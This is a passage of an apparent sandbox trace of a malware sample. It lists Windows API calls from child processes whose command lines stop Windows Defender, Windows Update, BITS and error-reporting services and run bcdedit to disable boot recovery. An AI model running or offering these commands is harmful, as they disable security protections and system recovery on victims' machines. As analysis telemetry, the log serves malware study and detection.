FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24fb34, nSize=0x2, Arguments=0x24fb40 | out: lpBuffer="㱈j\x01") returned 0x49 [0051.518] GetFileType (hFile=0x7) returned 0x2 [0051.518] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24fb08 | out: lpMode=0x24fb08) returned 1 [0051.518] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6a3c48*, nNumberOfCharsToWrite=0x49, lpNumberOfCharsWritten=0x24fb24, lpReserved=0x0 | out: lpBuffer=0x6a3c48*, lpNumberOfCharsWritten=0x24fb24*=0x49) returned 1 [0051.519] LocalFree (hMem=0x6a3c48) returned 0x0 [0051.519] LocalFree (hMem=0x0) returned 0x0 [0051.519] CloseServiceHandle (hSCObject=0x69f5e0) returned 1 [0051.519] CloseServiceHandle (hSCObject=0x69f680) returned 1 [0051.781] exit (_Code=1062) Thread: id = 106 os_tid = 0xe60 Process: id = "40" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x2dc43000" os_pid = "0xce4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "sc stop WinDefend" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 64 os_tid = 0xce8 [0057.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xffaac | out: lpSystemTimeAsFileTime=0xffaac*(dwLowDateTime=0xb15c2900, dwHighDateTime=0x1d5e09d)) [0057.934] GetCurrentProcessId () returned 0xce4 [0057.934] GetCurrentThreadId () returned 0xce8 [0057.934] GetTickCount () returned 0x1158a27 [0057.934] QueryPerformanceCounter (in: lpPerformanceCount=0xffaa4 | out: lpPerformanceCount=0xffaa4*=19980508098) returned 1 [0057.934] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0057.934] __set_app_type (_Type=0x1) [0057.934] __p__fmode () returned 0x76be31f4 [0057.934] __p__commode () returned 0x76be31fc [0057.934] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0057.935] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0057.935] SetThreadUILanguage (LangId=0x0) returned 0x409 [0057.938] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0057.938] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0057.938] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0057.938] _wcsicmp (_String1="stop", _String2="query") returned 2 [0057.938] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0057.938] _wcsicmp (_String1="stop", _String2="start") returned 14 [0057.938] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0057.938] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0057.938] _wcsicmp (_String1="stop", _String2="control") returned 16 [0057.938] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0057.938] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0057.938] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x22f690 [0057.941] OpenServiceW (hSCManager=0x22f690, lpServiceName="WinDefend", dwDesiredAccess=0x20) returned 0x22f5f0 [0057.941] ControlService (in: hService=0x22f5f0, dwControl=0x1, lpServiceStatus=0xff9a8 | out: lpServiceStatus=0xff9a8*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0057.942] GetLastError () returned 0x426 [0057.942] _itow (in: _Dest=0x426, _Radix=1046852 | out: _Dest=0x426) returned="1062" [0057.942] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x426, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The service has not been started.\r\n") returned 0x23 [0057.943] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xff92c, nSize=0x2, Arguments=0xff938 | out: lpBuffer="㲀#\x01") returned 0x49 [0057.943] GetFileType (hFile=0x7) returned 0x2 [0057.944] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xff900 | out: lpMode=0xff900) returned 1 [0057.944] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x233c80*, nNumberOfCharsToWrite=0x49, lpNumberOfCharsWritten=0xff91c, lpReserved=0x0 | out: lpBuffer=0x233c80*, lpNumberOfCharsWritten=0xff91c*=0x49) returned 1 [0057.944] LocalFree (hMem=0x233c80) returned 0x0 [0057.944] LocalFree (hMem=0x0) returned 0x0 [0057.944] CloseServiceHandle (hSCObject=0x22f5f0) returned 1 [0057.944] CloseServiceHandle (hSCObject=0x22f690) returned 1 [0058.462] exit (_Code=1062) Thread: id = 123 os_tid = 0xecc Process: id = "41" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x2d748000" os_pid = "0xcec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "sc stop wuauserv" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 65 os_tid = 0xcf0 [0057.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbff6c | out: lpSystemTimeAsFileTime=0xbff6c*(dwLowDateTime=0xb13d3720, dwHighDateTime=0x1d5e09d)) [0057.733] GetCurrentProcessId () returned 0xcec [0057.733] GetCurrentThreadId () returned 0xcf0 [0057.733] GetTickCount () returned 0x115895c [0057.733] QueryPerformanceCounter (in: lpPerformanceCount=0xbff64 | out: lpPerformanceCount=0xbff64*=19960436028) returned 1 [0057.733] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0057.734] __set_app_type (_Type=0x1) [0057.734] __p__fmode () returned 0x76be31f4 [0057.734] __p__commode () returned 0x76be31fc [0057.734] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0057.734] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0057.734] SetThreadUILanguage (LangId=0x0) returned 0x409 [0057.738] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0057.738] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0057.738] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0057.738] _wcsicmp (_String1="stop", _String2="query") returned 2 [0057.738] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0057.738] _wcsicmp (_String1="stop", _String2="start") returned 14 [0057.738] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0057.738] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0057.738] _wcsicmp (_String1="stop", _String2="control") returned 16 [0057.738] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0057.738] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0057.738] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x5ef690 [0057.741] OpenServiceW (hSCManager=0x5ef690, lpServiceName="wuauserv", dwDesiredAccess=0x20) returned 0x5ef5f0 [0057.742] ControlService (in: hService=0x5ef5f0, dwControl=0x1, lpServiceStatus=0xbfe68 | out: lpServiceStatus=0xbfe68*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0057.742] GetLastError () returned 0x426 [0057.742] _itow (in: _Dest=0x426, _Radix=785924 | out: _Dest=0x426) returned="1062" [0057.742] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x426, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The service has not been started.\r\n") returned 0x23 [0057.744] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xbfdec, nSize=0x2, Arguments=0xbfdf8 | out: lpBuffer="㲀_\x01") returned 0x49 [0057.744] GetFileType (hFile=0x7) returned 0x2 [0057.745] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0xbfdc0 | out: lpMode=0xbfdc0) returned 1 [0057.745] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5f3c80*, nNumberOfCharsToWrite=0x49, lpNumberOfCharsWritten=0xbfddc, lpReserved=0x0 | out: lpBuffer=0x5f3c80*, lpNumberOfCharsWritten=0xbfddc*=0x49) returned 1 [0057.745] LocalFree (hMem=0x5f3c80) returned 0x0 [0057.745] LocalFree (hMem=0x0) returned 0x0 [0057.745] CloseServiceHandle (hSCObject=0x5ef5f0) returned 1 [0057.745] CloseServiceHandle (hSCObject=0x5ef690) returned 1 [0058.393] exit (_Code=1062) Thread: id = 121 os_tid = 0xec4 Process: id = "42" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x2194d000" os_pid = "0xcf4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "sc stop BITS" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 66 os_tid = 0xcf8 [0057.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2cfc04 | out: lpSystemTimeAsFileTime=0x2cfc04*(dwLowDateTime=0xb12a2c20, dwHighDateTime=0x1d5e09d)) [0057.602] GetCurrentProcessId () returned 0xcf4 [0057.602] GetCurrentThreadId () returned 0xcf8 [0057.602] GetTickCount () returned 0x11588df [0057.602] QueryPerformanceCounter (in: lpPerformanceCount=0x2cfbfc | out: lpPerformanceCount=0x2cfbfc*=19947300809) returned 1 [0057.602] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0057.602] __set_app_type (_Type=0x1) [0057.602] __p__fmode () returned 0x76be31f4 [0057.602] __p__commode () returned 0x76be31fc [0057.602] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0057.602] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0057.603] SetThreadUILanguage (LangId=0x0) returned 0x409 [0057.606] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0057.606] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0057.606] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0057.606] _wcsicmp (_String1="stop", _String2="query") returned 2 [0057.606] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0057.606] _wcsicmp (_String1="stop", _String2="start") returned 14 [0057.606] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0057.606] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0057.606] _wcsicmp (_String1="stop", _String2="control") returned 16 [0057.606] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0057.606] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0057.606] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x63f680 [0057.609] OpenServiceW (hSCManager=0x63f680, lpServiceName="BITS", dwDesiredAccess=0x20) returned 0x63f5e0 [0057.610] ControlService (in: hService=0x63f5e0, dwControl=0x1, lpServiceStatus=0x2cfb00 | out: lpServiceStatus=0x2cfb00*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0057.610] GetLastError () returned 0x426 [0057.610] _itow (in: _Dest=0x426, _Radix=2947740 | out: _Dest=0x426) returned="1062" [0057.610] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x426, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The service has not been started.\r\n") returned 0x23 [0057.611] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x2cfa84, nSize=0x2, Arguments=0x2cfa90 | out: lpBuffer="㱈d\x01") returned 0x49 [0057.612] GetFileType (hFile=0x7) returned 0x2 [0057.612] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2cfa58 | out: lpMode=0x2cfa58) returned 1 [0057.612] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x643c48*, nNumberOfCharsToWrite=0x49, lpNumberOfCharsWritten=0x2cfa74, lpReserved=0x0 | out: lpBuffer=0x643c48*, lpNumberOfCharsWritten=0x2cfa74*=0x49) returned 1 [0057.613] LocalFree (hMem=0x643c48) returned 0x0 [0057.613] LocalFree (hMem=0x0) returned 0x0 [0057.613] CloseServiceHandle (hSCObject=0x63f5e0) returned 1 [0057.613] CloseServiceHandle (hSCObject=0x63f680) returned 1 [0058.383] exit (_Code=1062) Thread: id = 120 os_tid = 0xebc Process: id = "43" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x2d552000" os_pid = "0xd18" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "sc stop ERSvc" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 67 os_tid = 0xd1c [0057.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x9fc84 | out: lpSystemTimeAsFileTime=0x9fc84*(dwLowDateTime=0xb1576640, dwHighDateTime=0x1d5e09d)) [0057.907] GetCurrentProcessId () returned 0xd18 [0057.907] GetCurrentThreadId () returned 0xd1c [0057.907] GetTickCount () returned 0x1158a08 [0057.907] QueryPerformanceCounter (in: lpPerformanceCount=0x9fc7c | out: lpPerformanceCount=0x9fc7c*=19977843032) returned 1 [0057.908] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0057.908] __set_app_type (_Type=0x1) [0057.908] __p__fmode () returned 0x76be31f4 [0057.908] __p__commode () returned 0x76be31fc [0057.908] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0057.908] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0057.909] SetThreadUILanguage (LangId=0x0) returned 0x409 [0057.911] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0057.911] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0057.911] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0057.911] _wcsicmp (_String1="stop", _String2="query") returned 2 [0057.911] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0057.911] _wcsicmp (_String1="stop", _String2="start") returned 14 [0057.912] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0057.912] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0057.912] _wcsicmp (_String1="stop", _String2="control") returned 16 [0057.912] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0057.912] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0057.912] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x30f680 [0057.915] OpenServiceW (hSCManager=0x30f680, lpServiceName="ERSvc", dwDesiredAccess=0x20) returned 0x0 [0057.915] GetLastError () returned 0x424 [0057.915] _itow (in: _Dest=0x424, _Radix=654108 | out: _Dest=0x424) returned="1060" [0057.915] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0057.916] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x9fb04, nSize=0x2, Arguments=0x9fb10 | out: lpBuffer="ᣈ1\x01") returned 0x62 [0057.917] GetFileType (hFile=0x7) returned 0x2 [0057.917] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x9fad8 | out: lpMode=0x9fad8) returned 1 [0057.917] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x3118c8*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9faf4, lpReserved=0x0 | out: lpBuffer=0x3118c8*, lpNumberOfCharsWritten=0x9faf4*=0x62) returned 1 [0057.917] LocalFree (hMem=0x3118c8) returned 0x0 [0057.917] LocalFree (hMem=0x0) returned 0x0 [0057.918] CloseServiceHandle (hSCObject=0x30f680) returned 1 [0058.457] exit (_Code=1060) Thread: id = 122 os_tid = 0xec8 Process: id = "44" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x2dd57000" os_pid = "0xd20" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "sc stop WerSvc" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 68 os_tid = 0xd24 [0058.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afaf4 | out: lpSystemTimeAsFileTime=0x1afaf4*(dwLowDateTime=0xb18701c0, dwHighDateTime=0x1d5e09d)) [0058.301] GetCurrentProcessId () returned 0xd20 [0058.301] GetCurrentThreadId () returned 0xd24 [0058.301] GetTickCount () returned 0x1158b40 [0058.301] QueryPerformanceCounter (in: lpPerformanceCount=0x1afaec | out: lpPerformanceCount=0x1afaec*=20017197272) returned 1 [0058.301] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0058.301] __set_app_type (_Type=0x1) [0058.301] __p__fmode () returned 0x76be31f4 [0058.301] __p__commode () returned 0x76be31fc [0058.301] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0058.301] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0058.302] SetThreadUILanguage (LangId=0x0) returned 0x409 [0058.305] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0058.305] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0058.305] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0058.305] _wcsicmp (_String1="stop", _String2="query") returned 2 [0058.305] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0058.305] _wcsicmp (_String1="stop", _String2="start") returned 14 [0058.305] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0058.305] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0058.305] _wcsicmp (_String1="stop", _String2="control") returned 16 [0058.305] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0058.305] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0058.305] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3df680 [0058.308] OpenServiceW (hSCManager=0x3df680, lpServiceName="WerSvc", dwDesiredAccess=0x20) returned 0x3df5e0 [0058.308] ControlService (in: hService=0x3df5e0, dwControl=0x1, lpServiceStatus=0x1af9f0 | out: lpServiceStatus=0x1af9f0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0058.308] GetLastError () returned 0x426 [0058.309] _itow (in: _Dest=0x426, _Radix=1767820 | out: _Dest=0x426) returned="1062" [0058.309] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x426, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The service has not been started.\r\n") returned 0x23 [0058.310] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1af974, nSize=0x2, Arguments=0x1af980 | out: lpBuffer="㱈>\x01") returned 0x49 [0058.310] GetFileType (hFile=0x7) returned 0x2 [0058.311] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af948 | out: lpMode=0x1af948) returned 1 [0058.311] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x3e3c48*, nNumberOfCharsToWrite=0x49, lpNumberOfCharsWritten=0x1af964, lpReserved=0x0 | out: lpBuffer=0x3e3c48*, lpNumberOfCharsWritten=0x1af964*=0x49) returned 1 [0058.311] LocalFree (hMem=0x3e3c48) returned 0x0 [0058.311] LocalFree (hMem=0x0) returned 0x0 [0058.311] CloseServiceHandle (hSCObject=0x3df5e0) returned 1 [0058.311] CloseServiceHandle (hSCObject=0x3df680) returned 1 [0058.813] exit (_Code=1062) Thread: id = 124 os_tid = 0xed0 Process: id = "45" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2bb5c000" os_pid = "0xd28" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "cmd.exe /c bcdedit /set {default} recoveryenabled No" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 69 os_tid = 0xd2c [0057.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x41feac | out: lpSystemTimeAsFileTime=0x41feac*(dwLowDateTime=0xb1445b40, dwHighDateTime=0x1d5e09d)) [0057.780] GetCurrentProcessId () returned 0xd28 [0057.780] GetCurrentThreadId () returned 0xd2c [0057.780] GetTickCount () returned 0x115898b [0057.780] QueryPerformanceCounter (in: lpPerformanceCount=0x41fea4 | out: lpPerformanceCount=0x41fea4*=19965291739) returned 1 [0057.783] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0057.783] __set_app_type (_Type=0x1) [0057.783] __p__fmode () returned 0x76be31f4 [0057.783] __p__commode () returned 0x76be31fc [0057.783] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0057.783] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0057.784] GetCurrentThreadId () returned 0xd2c [0057.784] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd2c) returned 0x60 [0057.784] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0057.784] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0057.784] SetThreadUILanguage (LangId=0x0) returned 0x409 [0058.394] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0058.394] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x41fe3c | out: phkResult=0x41fe3c*=0x0) returned 0x2 [0058.395] VirtualQuery (in: lpAddress=0x41fe73, lpBuffer=0x41fe0c, dwLength=0x1c | out: lpBuffer=0x41fe0c*(BaseAddress=0x41f000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.395] VirtualQuery (in: lpAddress=0x320000, lpBuffer=0x41fe0c, dwLength=0x1c | out: lpBuffer=0x41fe0c*(BaseAddress=0x320000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0058.395] VirtualQuery (in: lpAddress=0x321000, lpBuffer=0x41fe0c, dwLength=0x1c | out: lpBuffer=0x41fe0c*(BaseAddress=0x321000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0058.395] VirtualQuery (in: lpAddress=0x323000, lpBuffer=0x41fe0c, dwLength=0x1c | out: lpBuffer=0x41fe0c*(BaseAddress=0x323000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.395] VirtualQuery (in: lpAddress=0x420000, lpBuffer=0x41fe0c, dwLength=0x1c | out: lpBuffer=0x41fe0c*(BaseAddress=0x420000, AllocationBase=0x420000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0058.395] GetConsoleOutputCP () returned 0x1b5 [0058.395] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0058.395] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0058.395] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.395] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0058.395] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.395] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0058.396] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.396] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0058.396] 